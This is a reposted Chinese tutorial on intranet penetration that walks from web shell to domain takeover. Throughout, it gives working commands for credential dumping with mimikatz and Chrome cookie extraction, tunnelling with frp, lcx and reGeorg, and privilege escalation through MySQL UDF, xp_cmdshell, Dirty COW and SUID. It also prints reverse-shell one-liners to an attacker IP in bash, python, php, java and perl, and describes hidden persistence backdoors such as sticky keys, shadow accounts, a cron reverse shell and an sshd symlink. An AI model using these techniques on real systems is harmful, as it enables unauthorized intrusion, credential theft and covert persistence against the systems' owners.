外网进内网通常就是通过web漏洞拿取shell
内网的很大一部分信息收集是围绕网络拓扑图展开的。可以社工运维或者google找一下。
概述
内网信息收集
内网网端信息:对内网进行拓扑、分区
内网大小
内网核心业务信息
oa系统、邮件服务器、监控系统....
其他
Windows、linux主机信息收集
内网信息收集做的越好,打的越快
nmap的流量很大。因为nmap用了很多方式进行扫描,准确率高的同时流量较大,外网可以用
主动扫描留下的痕迹很多且较难清楚。被动扫描需要的时间较长。视情况扫描
一般都是先扫80端口等。因为外网网站可能做的很好,内网网站烂的爆,sql注入、xss等web漏洞一把一把的。
nmap -sn -PE -n -v -oN 1.txt 目标ip
nmap -sn -PR -n -v 目标IP
注意: netdiscover时间越久越精确,可以发现某一台主机在一段时间内介入了那些网段,从而发现其他新的网段地址
netdiscover -i eth0 -r 目标IP
nbtscan -r 目标IP
探测目标开放端口
nmap探测:nmap -Pn -n 目标IP(禁ping扫描)
masscan扫描:masscan -p 端口号 目标IP地址 --rate=10000 #用10kpps速度扫描端口
探测目标操作系统
其中: smb-os-discovery.nse脚本通过smb来探测操作系统版本、计算机名、工作组名、域名等等信息。--script指定脚本
使用NSE脚本: nmap --script smb-os-discovery.nse -p 445 目标IP地址
使用nmap -O探测操作系统版本
nmap -O 目标IP
扫描主机存在的CVE漏洞
nmap --script=vuln 目标IP
命令 | 说明 |
---|---|
net user | 本机用户列表 |
net view | 查询同一域内的机器列表 |
net localgroup administrators | 查看本机管理员 |
net user /domain | 查询域用户 |
net group /domain | 查询域里面的工作组 |
net group "domain admins”/domain | 查询域管理员用户组 |
net localgroup administrators /domain | 登陆本机的域管理员 |
net localgroup administrators workgroup \user /add | 域用户添加到本机 |
net group "Domain controllers" | 查看域控 |
/domain为域渗透参数。域管理有一台权限很高的机器,拿下之后能控制整个域的服务器,称为域控。
命令 | 作用 |
---|---|
dsquery computer domainroot -limit 65535 && net group "domain computers"/domain | 列出域中内所有机器名 |
dsquery user domainroot -limit 65535 && net user /domain | 列出该域内所有用户名 |
dsquery subnet | 列出该域内网段划分 |
dsquery group && net group /domain | 列出该域内分组 |
dsquery ou | 列出该域内组织单位 |
dsquery server && net time /domain | 列出该域内控制器 |
这里是在拿下最高权限之后的信息收集。
- 系统管理员密码(hash->明文)
工具:mimikatz、wce、getpass、quarkspwdump、reg-sam、pwdump7等
cmdkey用于保存用户名和密码的凭证。
cmdkey /list
查看凭据位置
netpass.exe获取密码
回收站信息获取
进入回收站文件夹 cd C:$RECYCLE.BIN
(该文件夹为隐藏文件夹,dir /ah查看内容,a指定属性h表示隐藏)
获取无线密码
netsh wlan export profile interface=WLAN key=clear folder=C:\
获取浏览器的cookie和存储密码(chrome)
%localappdata%\google\chrome\USERDATA\default\cookies%localappdata%\googlelchrome\USERDATA\default\Login
Datachrome的用户信息保存在本地文件为sqlite数据库格式
使用mimikatz读取内容:
mimikatz.exe privilege:debug log "dpapi:chrome /in:%localappdata%google\chrome\USERDATA\default\cookies /unprotect"
模块 | 使用 |
---|---|
post/windows/gather/forensics/enum_drives | 获取目标主机的磁盘分区情况 |
post/windows/gather/checkvm | 判断目标主机是否为虚拟机 |
post/windows/gather/enum_services | 查看开启的服务 |
post/windows/gather/enum_applications | 查看安装的应用 |
post/windows/gather/enum_shares | 查看共享 |
post/windows/gather/dumplinks | 查看目标主机最近的操作 |
post/windows/gather/enum_patches | 查看补丁信息 |
scraper | 导出多个信息 |
use or run模块,设置参数后expoilt
linux信息收集内容比起windows少很多
history命令
用于显示 历史执行命令 。能显示当前用户在本地计算机中执行的1000条命令。查看更多在/etc/profile文件中自定义HISTSIZE的变量值。
使用history -c命令会清空所有命令的历史记录。
每个用户的history不同
last命令
用于查看系统所有近期登录记录。
执行last命令时,会读取/var/log/wtmp的文件。
用户名 终端位置 登录IP或者内核 开始时间 结束时间
如果是系统漏洞提权,不属于登录,无记录
arp -vn
聚类检查是否有 超同组业务外 的arp地址
mac地址对应ip固定,mac不对应ip则为arp欺骗
模块 | 使用 |
---|---|
post/linux/gather/checkvm | 判断目标主机是否为虚拟机 |
post/linux/gather/enum_configs | 查看配置信息 |
post/linux/gather/enum_network | 查看网络 |
post/linux/gather/enum_protections | 查看共享 |
post/linux/gather/enum_system | 查看系统和用户信息 |
post/linux/gather/enum_users_histroy | 查看目标主机最近的操作 |
post/linux/gather/hashdump | 获取linux的hash |
但是我仍要强调,被动收集很重要,内网被动收集要安全很多,但是周期很长。主动一分,就危险一分
网卡信息、arp缓存、路由缓存、网站配置文件、数据库、访问日志、浏览器历史记录、netstat、hosts文件、history、hash、明文密码、网站配置账密、wifi、cmdkey
理论上通过网络连接的计算机都是可以互相访问的,但是因为技术原因没有实现。如局域网中某计算机仅开放web服务,则只能内网使用,外网无法直接访问。要让外网用户直接访问局域网服务,必须进行内网转发等操作
内网转发原理
通过服务器进行中转,将内部的 端口映射到公网IP 上,或者将内网端口 转发至外部服务器 。
1.端口转发
用于目标机器对某一端口的访问进行了限制。可以将本机的端口或者是本机可以访问到的任意主机的端口转发到任意一台你需要访问的公网IP上
2.端口映射
将一个内网无法访问的端口映射到公网的某个端口,进而进行攻击。比如:3389端口
3.代理转发
主要用于在目标机器上做跳板,进而可以对内网进行攻击
四种情况有不同拿下服务器的方式
lcx是一个居于socket套接字实现的端口转发工具,有windows和linux两个版本,windows叫lcx.exe,linux叫portmap
一个正常的socket隧道必须具备两端:服务器端和客户端
- 转发端口:
lcx.exe -slave 公网IP 端口 内网IP 端口
lcx.exe -listen 转发端口,本机任意没有没有被占用的端口
lcx.exe -tran 映射端口号 ip 目标端口
本地端口映射:如果目标服务器由于防火墙的限制,部分端口的数据无法通过防火墙,可以将目标服务器相应端口的数据传到防火墙允许的其他端口
lcx.exe -tran 映射端口号 目标ip 目标端口
内网端口转发:如下规则时,主机不能直接访问内网,这时就需要web服务器当跳板,也就是代理来使攻击机访问到内网主机
基本命令:
·转发端口 lcx.exe -slave 公网ip 端口 内网ip 端口
·监听端口 lcx.exe -listen 转发端口 本机任意没有被占用端口
windows端口转发实例
环境︰内网主机不能访问外网,但是可以访问同网段的内网机器,同时80端口只能本地访问,但是8080端口对外开放。
步骤一:被控服务器的80端口转发到本地的8080端口
lcx -tran 8080 127.0.0.1 80
步骤二∶在内网被控服务器上连接内网能够对外访问的服务器lcx -slave 192.168.56.1 4444 192.168.56.101 8080
步骤三∶在能够对外访问的内网机器上监听端口lcx -listen 4444 12345
步骤四∶外网机器访问192.168.56.1的12345端口也就是从服 务器12345->服务器4444->外网8080->内网80
在外网192.168.64.230访问192.168.64.103:12345
用法: ./portmap -m method [-h1 host1] -p1 port1 [-h2 host2] -p2 port2 [-v] [-log filename]
v:version
-m:指定method action参数
method=1:监听port1连接至主机2的port2(端口映射)
method=2:监听Port1转发至port2
method=3:连接主机1对应的端口和主机2对应的端口(端口转发)
如: ./portmap -m 2 -p1 6666 -h2 公网ip -p2 7777
//监听来自6666端口的请求并转发至7777
FRP(fast reverse proxy)是用go语言开发的反向代理应用,可以进行内网穿透
frp支持tcp\udp\http\https
frp用处
利用处于 内网 或 防火墙 的机器,对外网提供http\https\tcp\udp服务
对于http,https服务支持基于域名的虚拟主机,支持自定义域名,是多个域名共用一个80端口
下载后frp文件内frps,frps.ini为服务端程序和配置文件,frpc,frpc.ini是客户端程序及配置文件
- 服务端设置
修改frp.ini
文件格式:
[common]
bind_port = 7000 #frp服务器监听㐰
dashboard_port = 7500 #web后台监听端口
dashboard_user =admin #web后台用户名及密码
dashboard_pwd = admin
token = 123456 #客户端和服务器的连接口令
运行frps服务器端 ./frps -c frps.ini
#-c意思是加载配置文件
访问x.x.x.x:7500,使用自己设置的用户名和密码登录
修改frpc.ini文件
[common]
server_addr = 192.168.152.217
#服务端IP地址
server_port = 7000
#服务器端口
token = 123456
#服务器上设置的连接口令
[http]
#自定义规则,[xxx]表示规则名
type = tcp
#type:转发的协议类型
local_ip = 127.0.0.1
local_port = 3389
#本地应用的端口号
remote_port = 7001
#这条规则在服务端开放的端口号
配置完成frp.ini后,cmd运行frpc(和服务端一样-c指定配置文件)
在局域网外客户端连接服务端的remote_port端口
该工具可跨平台,也就是windows exe程序连接linux
上述操作也就 相当于listen 7000转到7001 然后连接
简介
一款内置于meterpreter shell中的工具,直接访问攻击系统无法访问的机器。
在可以访问攻击机和靶机的受损主机上运行此命令,可以通过本机转发TCP连接,成为一个支点。
选项
-L∶要监听的本地主机(可选).
-l : 要监听的本地端口,与此端口的连接将被转发到远程系统·
-p∶要连接的远程端口,TCP连接将转发到的端口
-r∶要连接的远程主机的IP地址
参数
Add :该参数用于 创建 转发
portfwd add -I 本地监听端口号 -p 目标端口号 -r 目标机IP地址
Delete :这将从转发端口列表中删除 先前的 条目.
portfwd delete -I 本地监听端口号 -p 目标端口号 -r 目标机IP地址
List : 列出 当前转发的所有端口
portfwd list
Flush :这将删除转发列表中的 所有 端口
这个不太稳定,不如frp,lcx不怎么用了。
代理类别:HTTP代理、socks代理、telnet代理、ssl代理
代理工具:EarthWorm、reGeorg(http代理)、proxifier(win)、sockscap64(win)、proxychains(linux)
内网通过代理连接外部网络为正向代理,外网通过代理连接内网为反向代理。
负载均衡服务器:将用户的请求分发到空闲服务器上。
代理 | 端口转发 |
---|---|
需要socks协议支持 | 无需协议支持 |
一对多,访问网络 | 一对一,帮助他人访问某端口 |
socks代理可以理解为lcx端口转发,他在服务端监听一个服务端口,有连接请求时会从socks协议中解析出访问目标url的目标端口
意思就是,有代理就不需要他娘的端口转发了,还指定端口转来转去脑子都转晕了,代理不需要那么多花里胡哨的。
- 在使用工具前要对工具进行配置,配置文件:/etc/proxychains.conf
删除dynamic_chain的注释
底部添加代理服务器
proxychains 软件名
以代理启动任意软件
regeorg主要是把内网服务器端口通过http/https隧道转发至本机,形成回路
用于目标服务器在 内网或做了端口策略 的情况下连接目标服务器内部开放端口
利用webshell建立一个socks代理进行内网穿透,则服务器必须支持aspx\php\jsp中的一种
regeorg分为服务端和客户端。 服务端有php\aspx\jsp\node.js等多种,客户端为python ,所以用的时候文件里面找对应脚本
和proxychains结合使用
pip install安装
假设服务器是php版本,将regeorg里的php上传到服务器,直接访问显示"georg says,'all seems fine'",为正常运行
终端下运行: python reGeorgSocksProxy.py -u 靶机reGeorg脚本地址 -p 本地监听端口
再起一个终端修改proxychains.conf配置文件,删除dynamic_chain的注释,在ProxyList最后加一行 socks5 127.0.0.1 本地监听端口
,并把其他的注释
代理就配置好了
使用 proxychains 命令
,流量会自动从配置文件端口经过(python跑的脚本终端别关)
但是在msf外配置的代理,msf内部流量是不会走代理过的
msf框架中自带路由转发功能,在已经获取meterpreter shell的基础上添加一条去往内网的路由
路由添加: run autoroute -s 内网网端
run autoroute -p
查看路由添加情况
proxifiler为windows客户端代理工具, socks5客户端 ,可以让不支持通过代理服务器工作的程序通过https或socks5代理或代理链
提权可以有好几种,本篇主要讲利用系统漏洞提权(最常规)和利用数据库提权。数据库这种利用第三方提权的方式通常比较少见
当我们getshell一个网站后,大部分情况下我们的权限是非常低的,这个时候提权可以让我们如拥有修改文件之类的强大能力。
一般来说,提权通常是改变用户
windows: user -> system user->administrator
linux: user->root
如果目的是download服务器文件或者拿下webshell等没必要提权,如果是为了做肉鸡或者上远控
常规流程: 获得目标机shell->查看目标机补丁记录->判断没打的补丁,寻找EXP->利用exp提权
blog.neargle.com/win-powerup-exp-index/#
github.com/SecWiki/windows-kernel-exploits
(windows-kernel就是代表windows内核)这种提权方式已经用的很少了
mysql提权的必要条件:获取Mysql数据库最高权限 root 的账号密码
获取方法:
mysql的三种提权方式:
因为需要有写文件权限(into outfile),所以可用到的环境很少
上传mof文件
执行load_file和into dumpfile将文件导出到指定位置
select load_file('mof目标路径') into dumpfile 'c:/windows/system32/wbem/mof/nullevt.mof'
nullevt.mof文件的内容
mysql版本对应的udf.dll导出路径:
数据库版本 | 操作系统 | udf.dll导出路径 |
---|---|---|
<5.0 | 所有操作系统 | 路径随意 |
<=5.1 | windows2003 | c:\windows\system32\udf.dll |
<=5.1 | windows2000 | c:\winnt\system32\udf.dll |
>5.1 | 所有操作系统 | mysql 安装目录下的lib\plugin\udf.dll |
mysql安装目录查询语句: select @@basedir
select 'xxx' into dumpfile 'mysql目录\\lib:$INDEX_ALLOCATION';
select 'xxx' into dumpfile 'mysql目录\\lib\plugin:$INDEX_ALLOCATION';
create function **sys_eval** returns string soname 'udf.dll';
select sys_eval('whoami');
select sys_eval("net localgroup administrators ichunqiu /add")
drop function sys_eval;
delete from mysql.func where name="sys_eval";
vbs提权脚本:
set wsnetwork=CreateObject("WSCRIPT.NETWORK")
os="WinNT://"&wsnetwork.ComputerName
Set ob=GetObject(os) #得到adsi接口
Set oe=GetObject(os&"/Administrators,group") #用户组
Set od=ob.Create("user","name") #name为用户名
od.SetPassword "passwd" #passwd为密码
od.SetInfo #保存
Set of=GetObject(os&"/name",user) #得到用户
oe.add os&"/name"
create table a(cmd text)
//创建了一个新的表,名为a,表中只存放了一个字段,字段名为cmd,为text文本
insert into a values("set wshshell=createobject(""wscript.shell"")");
insert into a values("a=wshshell.run(""cmd.exe /c net user name passwd /add"",0)");
insert into a values("b=wshshell.run(""cmd.exe /c net localgroup administrators name /add"",0)");
输出表为一个VBS的脚本文件
select * from a into dumpfile "C:\Documents and Settings\Administrator\「开始」菜单\程序\启动1.vbs";
利用其他手段重启电脑
在windows,sa账号通常是被降权为db-owner的。而不是sysadmin
webshell或源码获取。一般在网站的配置文件中存了明文账号密码,常用配置
文件如:conn.aspx、config.aspx、config.php等
一般格式如:server=localhost;UID=sa;PWD=passwd;database=db
源码泄露
嗅探。在局域网中用Cain等工具进行arp嗅探的时候可以抓取到1433端口的数据库明文登录
暴力破解
- xp_cmdshell:
言编写好的脚本共同组成的集合体为存储过程
xp_cmdshell提权过程:
(2005以前的版本):
连接数据库:
select ame from master.dbo.sysdatabases
获取所有的数据库名
查看当前版本 select @@version
判断当前是否为sa select is_srvrolemember('sysadmin')
判断是否有public权限 select is_srvrolemember('public')
判断是否有读写文件权限 select is_srvrolemember('db_owner')
查看数据库中是否有xp_cmdshell扩展存储插件,return 1则有
select count(*) from master.dbo.sysobjects where xtype='x' and name='xp_cmdshell';
(2005后的版本):
1reconfigure; 2exec sp_configure 'xp_cmshell',1;//打开xp_cmdshell扩展 3reconfigure; 4 5
1exec master..xp_cmdshell 'net localgroup administrators name /add'//添加name到管理员组
uac(user acount control)可以阻止未授权的应用程序自动安装,并防止无意中更改系统设置
uac的三种设置要求:
相当于普通用户打开cmd和以管理员运行cmd的差别,普通用户以管理员身份开cmd就会受到uac的限制,输入管理员密码
前提:已经获得了目标机器的meterpreter shell,当前权限为普通用户
msf exploit:> use exploit/windows/local/bypassuac
然后根据msf exp对reverse_tcp(bind_tcp)、lhost等进行参数设置
CVE编号:CVE-2019-1388,windwos证书对话框特权提升漏洞。补丁号KB4524235 KB4525233
漏洞原理:此漏洞是因为UAC机制设定不严导致的。默认wdnows会在一个单独的桌面secure desktop上显示所有UAC提示。这些提示是由consent.exe的可执行文件生成的,该文件以NT AUTHORITY\SYSTEM身份运行,并有system的完整权限
如果在运行一个可执行文件时触发了UAC,在点击 展示证书发行者的详细信息 之后,证书里的Issued by字段,这个字段对应的值就是OID。证书会解析OID的值,windows没有禁用OID处的超链接,就可以利用提权
要能连3389
linux提权相对于windows的手法较单一,多了一个比较重要的suid提权。有很多时候提权并不是必须进行的步骤
linux和内核提权跟windows一样,都要下载对应漏洞的脚本提权
uname -a 获取操作系统内核版本和内核架构
id 获取用户信息
https://www.exploit-db.com/
(type选local)exp下载: http://github.com/SecWiki/linux-kernel-exploits
上传exp并编译
exp是.c文件,上传到服务器后需要用gcc编译。.cpp用g++
编译 gcc pwn.c -o pwn
(exp下载文件里有对应的编译说明文档)
运行 ./pwn
如果目标机没有gcc或者g++,自己没有权限也肯定不能安装。唯一的办法是在本地搭建一个和服务器内核版本相同的环境,在里面编译完成了再上传至靶机
windows提权成功后在exp后接命令就是高权限运行,但是linux提权成功是返回一个shell。脚本执行后返回shell失败,可能是需要反弹shell
id查看目标机用户权限
uname -a目标机的linxu kernel>=2.6.22进行脏牛提权
寻找对应exp `http://github/FireFart/dirtycow
exp下载至目标机并编译 gcc -pthread dirty.c -o dirty -lcrypt
完成后,销毁firefart密码文件即可恢复root
mv /tmp/passwd.bak /etc/passwd
获取shell后将shell转换为完全交互式的TTY: python -c 'import pty;pty.spawn("/bin/bash")'
此处涉及权限划分的知识。在Linux中通过权限位rwx实现文件权限管理。
d目录,-普通文件。r read;w write;x execute
所有者-所属者-其他用户
suid作用于二进制可执行程序上,当执行程序时会临时切换身份为文件所有者身份为文件所有者身份。
chmod u+s FILE\chmod 4755 FILE
添加SUID权限到二进制文件(在三位数据权限前,4代表添加到SUID位)
chmod u-s FILE\chmod 0xxx FILE
删除suid
文件属主为s表示设置了suid.没有x权限用大写S,表示权限无效
简而言之,任何用户执行有suid的文件时,都会以第一个权限运行
所以利用suid提权的一个小案例就是:
创建一个1.c文件,代码如下:
#include
<unistd.h>
void
main(){
setuid(
0
);
#root的uid
=
0
,意味着执行后面的代码是root权限在执行
system(
"su - root);#将当前环境转为root
}
gcc 1.c -o 1编译
chmod u+s 1 添加suid
./1 执行
su - root !=su root.su 只是切换了root身份,但shell环境依旧是普通用户,su - 用户和环境一起切换了。
和windows一样的,udf提权
先获取低权限shell,提权过程:
查看plugin目录路径 show variables like '%plugin%';
select unhex('udf十六进制') into dumpfile 'usr/lib64/mysql/plugin/1.so';
(plugin路径/1.so)
声明函数 create function sys_eval returns string soname '1.so';
执行高权限命令 select sys_eval('whoami');
清除痕迹 drop function sys_eval;
windows soname动态链接库指向udf.dll,linux指向.so文件,所以声明的函数也要是.so文件里的。
详情请见上篇windows提权
netcat简称nc,被称为渗透测试中的瑞士军~~~~刀。
它可以用作端口监听、端口扫描、远程文件传输、远程shell等
语法:
nc [-hlnruz][-g 网关][-G 指向器数目][-i 延迟秒数][-o 输出文件][-p 通信端口][-s 来源IP][-v 次数][-w 超时秒数][主机名称][通信端口...]
反向shell
假设在目标主机找到了RCE漏洞,可以在目标主机上用nc发出命令启动反向shell
在攻击机或vps上监听本地端口 nc -lvp 监听端口号
靶机命令,连接攻击机的监听端口 nc 攻击机ip 监听端口号 -e /bin/bash
#linux
nc 攻击机ip 监听端口号 -e c:\windows\system32\cmd.exe
#windows
-e:将bash shell 发回主机
正向shell
正向shell时在目标机使用nc将bash shell绑定到特定端口,攻击机nc连接到此端口
目标主机可能没有nc或不支持-e参数时,就需要以下方式反弹shell
nc -lvvp 端口
bash -i >& /dev/tcp/攻击机ip/监听端口号 0>&1
bash -i | 产生一个交互式shell |
---|---|
& | 将&前后内容相结合重定向(>)至后者 |
/dev/tcp/ip/port | 对socket网络连接的抽象 |
0>&1 | 将标准输入和标准输入内容相结合,然后重定向至标准输出内容。0标准输入、1标准输出、2错误输出 |
import soket,subprocess,os;
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("攻击机IP",监听端口号));
os.dup(s.fileno(),0);
os.dup2(s.fileno(),1);
os.dup2(s.fileno(),2);
p=subprocess.call(["/bin/sh","-i"]);
$sock=fsockopen("攻击机IP",监听端口);
exec("/bin/sh -i <&3 >&3 2>&3");
r = Runtime.getRuntime()
p = r.exec(["/bin/bash","-c","exec 5<>/dev/tcp/攻击机ip/监听端口;cat <&5 | while read line;do $line 2>&5>&5;done"] as String[])
p.waitFor()
use Socket;
$i="攻击机IP地址";
$p=监听端口号;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){
(open(STDIN,">&S");
open(STDOUT,">&S");
open(STDERR,">&S");
exec("/bin/sh -i");
};
perl和python绝大多数服务器都会装,所以很有用
以某次内网渗透为实例
假设是如上拓扑图。先无视防火墙,内网机器无法直接访问外网,必须要走边界机。
在网站信息搜集看到是joomla模板
msf里search joomla 查看 辅助模块auxiliar里的扫描脚本:auxiliary/scannner/http/joomla_version
use脚本设置rhost参数,然后expolit运行可以看到网站版本。expolit -j -z挂
后台
searchsplopit joomla 版本寻找exp,最好是在exploit.db找,这里图个方便
把脚本copy到msf的exploits/multi/php目录下,然后reload
use exp脚本,set rhost\rport参数和lhost\lport参数,set payload为reverse或者bind,exploit运行
目前获得了低权限shell,sessions进入shell
uname -a查看系统信息
gcc --version看到有gcc,就找c语言的脚本。另起一个终端nc --lvvp 端口监听
新端口
shell里bash -i >& /dev/tcp/xx.xx.xx.xx/端口 0>&1反弹shell
searchspolit linux kernel 内核版本 --exclute="(PoC)|/dos/"搜索本地提权脚本。除去Poc和dos,就剩本地脚本了。同理,也可以在expolit.db上找
上传脚本,但是靶机的网站根目录不可写(很少见),写到/tmp目录
gcc -o 输出文件名 脚本名编译,./文件名运行。不行就换脚本,脚本里有使用方法,事先看一下
提不了就别提了,不是非要提权(试李妈半天都提不起,不知道这些exp谁写的)
靶机python reGeorgSocksProxy.py -u http://IP -p 代理端口建立代理转发服务器
ipconfig或者其他的看下网段,run autoroute -s 网端开启路由转发
use auxiliary/scanner/discovery、nmap、ping扫描等扫同网端存活主机
扫描端口use auxiliary/scanner/portscan/tcp或者nmap扫,设置一下rhost和常用端口,运行
vim /etc/proxychains.conf配置代理,浏览器开代理访问内网网站(建议foxyProxy插件)
如果开了80端口,接下来就是搞内网的站,拿内网的webshell。注意蚁剑和burpsuit等工具也要配置代理
reGeorgSocksProxy指定的端口要和proxychains.conf文件里的端口一致 ,因为这波操作的意义就是把边界机当作跳板,regeorgsocksproxy.py在边界机起到代理服务器的作用,proxychains就是客户端
内网的站打下来了重复上述步骤到提权。
生成msf木马msfvenom -p windows/meterpreter/bind_tcp lport=xxx -f exe -o 文件名,因为内网不能直接连外网的原因,reverse版木马无法使用,但是我们有代理可以连内网。上传
同理,生成了木马本地就需要有msf进程监听。use exploit/multi/handler,然后set payload windows/meterpreter/bind_tcp,payload和msf木马所用payload一致,设置参数lport和rhost.(这里开监听是在边界服务器开,也就是之前msf的边界服务器终端,lport当然也是边界机的端口,相当于本机msf对靶机边界机 的渗透变为了==靶机边界机对内网二层机==)
在二层内网机提权运行msf木马拿到shell后,run autoroute -s 另一内网网段添加路由
扫描,老样子,那几个扫描用啥都行,run arp_scanner -r 网段进行arp扫描
如果非要用reverse的连接方式呢,今天我皮痒,或者有防火墙只能出。
很简单,用到端口转发。如果将边界机监听reverse的端口转发到本地端口,二层内网机reverse到边界机的端口就相当于直接和本地通信
lcx被检测概率太大,用frp
关于frp要分清楚客户端和服务端到底应该放在哪。具体可以看==frpc.ini==和==frps.ini==
比如某frpc.ini的内容
[common]
server_addr=172.16.12.2
server_port=7100
[ssh]
type=tcp
local_ip=127.0.0.1
local_port=5000
remote_port=5000
如上,客户端连接服务端的7000端口,是将本机的5000端口数据以tcp转发到172.16.12.2的5000端口。因为你开frp也需要端口的嘛。这样连接服务端的5000端口就相当于连接客户端的5000端口。
服务端只有两行,监听一下就行了
[common]
bind_port=7100
这里,我要强调本文的精华
还是这张图。对于外网kali访问内网机,有两种手法,一是把外网kali的端口转发至边界机的端口。这样数据发到边界机的该端口就相当于发到外网kali,而端口转发frps在边界机、frpc在外网kali。另一种方式是内网穿透,把内网流量直接穿透到外网使得内网机能上网,frps也在边界机,frpc在内网机。
可以理解为都是端口转发, 访问frps所在主机就相当于访问frpc ,所以 frps一定要在中间的机器上 。逻辑理不通建议反复读来回读读通读透。有很多文章啊就不介绍端口转发和内网穿透有什么区别,整半天都不知道frps放哪,虽然只学内网穿透就够外网打内网一招鲜了。
上传frp和ini文件,运行。重新msfvenome生成一个reverse木马,lhost指向边界机 lport也是边界机要开的端口。(木马的lhost指的是需要连接的ip,不是指上传的ip)
上传木马到二层边界机运行,再在边界机shell里开监听(监听msf木马lport)
msf开二层代理,在刚在监听的shell里use auxiliary/server/socks5,然后run运行
对之前arp扫描的主机use auxiliary/scanner/portscan/tcp扫描端口,设置rhost参数,准备再往里打
配置浏览器代理,选socks5,端口和socks5脚本show options的端口一致
访问三层内网机的80端口,准备三层内网渗透(打80端口)
二层渗透就搞定了。如果三层内网要出网经过二层内网。用bind的话还好,用reverse就需要用两次代理转发
简单提一下三 层内网 ,可以上传lcx再进行一次端口转发,把二层内网机的frp端口转发到边界机,或者走frp代理。这样都是frp端口就串起来了,再把三层内网机reverse到二层的端口等于二层转发的端口,相当于直接reverse出去
所以!多层代理就是把多层主机端口串起来!
什么?拿完shell,几台机子的shell来回切你嫌麻烦?可以直接用Termite工具
Termite用于管理多层跳板,有admin和agent两个文件。
在第一个节点上传agent的对应版本,运行./agent_版本 -l 端口
在攻击机运行admin的对应版本 -c 边界机ip -p 端口,连接没问题就跳ok
admin的shell里goto 1进入第一个节点,shell 端口。然后起个终端开nc或者其他监听,监听该端口,弹回了第一个shell
二层机器agent对应版本 -c 上一层ip -p 上一层端口。端口与前面开agent和admin的端口一致。
小站权限维持大部分还是靠webshell后门,其他的可以,但没必要。还有搞站最好别在晚上搞,晚上流量少,搞站日志记录和流量占比很大。因而写的好的木马流量控制做的很好,上传和下载速度都有控制
权限维持不一定是高权限。后门最好都要伪装,如启动,图标,名字。经过学习个人认为权限维持=隐藏后门
常见的后门:shift后门,启动项/计划任务,映像劫持,影子账户,远控
大多数情况下,后门是一个隐藏进程。
windows按五下shift后,windows就运行了system32下的sethc.exe,启动粘滞键。
将cmd.exe更名为sethc.exe并把原来的替换,之后连续按下5次shift后就会以system权限运行cmd.exe,之后只要利用cmd增加一个administator就可以登录
除此之外,连接上3389之后可以使用的功能不止shift,还有放大镜等可以替换。
映像劫持也称IFEO,是为一些在默认系统环境中运行时可能引发错误的程序执行提供特殊的环境设定。默认管理员有权读写
映像劫持的制作过程
HKEY_LOCAL_MACHINE/SOFTWARE/Microsoft/Windows NT/CurrentVersion/Image File Execution Options
创建计划任务基本命令:
schtask /create /t "chrom" /tr cmd.exe /sc minute /mo 1
上述命令的意思为创建一个计划任务名字为chrom,执行cmd.exe每分钟执行一次。执行后门就改指向文件和执行频率
制作过程
- 打开注册表
HKEY_LOCAL_MACHINE/SOFTWARE/Microsoft/Windows/CurrentVersion/Run
制作过程
- 创建隐藏账户
创建隐藏账户只需在账户名后加$符号,如net user test$ 123 /add
- 注册表位置
HKEY_LOCAL_MACHINE/SAM/SAM/Domains/Account/Users/
,如进入SAM无法看到子选项,需要给administrators完全控制权限
net user test$ /del
影子账户试了一下,还是很牛逼的。
crontab命令介绍
- 攻击机监听
nc -lvvp 本地端口号
、
crontab -e
*/1 * * * * bash -i >& /dev/tcp/攻击机外网ip/攻击机端口 0>&1
制作过程
- 在攻击机上生成公钥私钥对
ssh-keygen -t rsa
在中途会让输入密钥对密码,如果需要免密登录则回车跳过
/root/.ssh/authorized_key
文件里scp ~/.ssh/id_rsa.pub root@目标服务器IP地址:/root/.ssh/authorized_keys
chmod 600 /root/.ssh/authorized.keys
详情请见ssh登录详解
软连接后门的原理是利用了PAM配置文件的作用,将sshd文件软连接名称设置为su,这样应用在启动过程中会去PAM配置文件夹中寻找是否存在对应名称的配置信息,su在pam_rootok检测uid 0即认证成功,也可以使用**/etc/pam.d中存在**的其他软连接名字
特点:1. 隐蔽性弱,rookit hunter这类防护脚本可以轻松扫到
制作过程
- 创建软连接
ln -sf /usr/sbin/sshd /tmp/su
/tmp/su -o Port=8080
inetd后门制作
- 向/etc/inetd.conf文件中加入一行:
daytime stream tcp nowait root /bin/bash bash -i
nc -lvvp 目标ip 13
还有prism后门等在服务器安装软件的,极易被发现
作者:godown(先知社区)
转载自:https://xz.aliyun.com/t/11784
侵权请私聊公众号删文
热文推荐
欢迎关注LemonSec
觉得不错点个“赞”、“在看”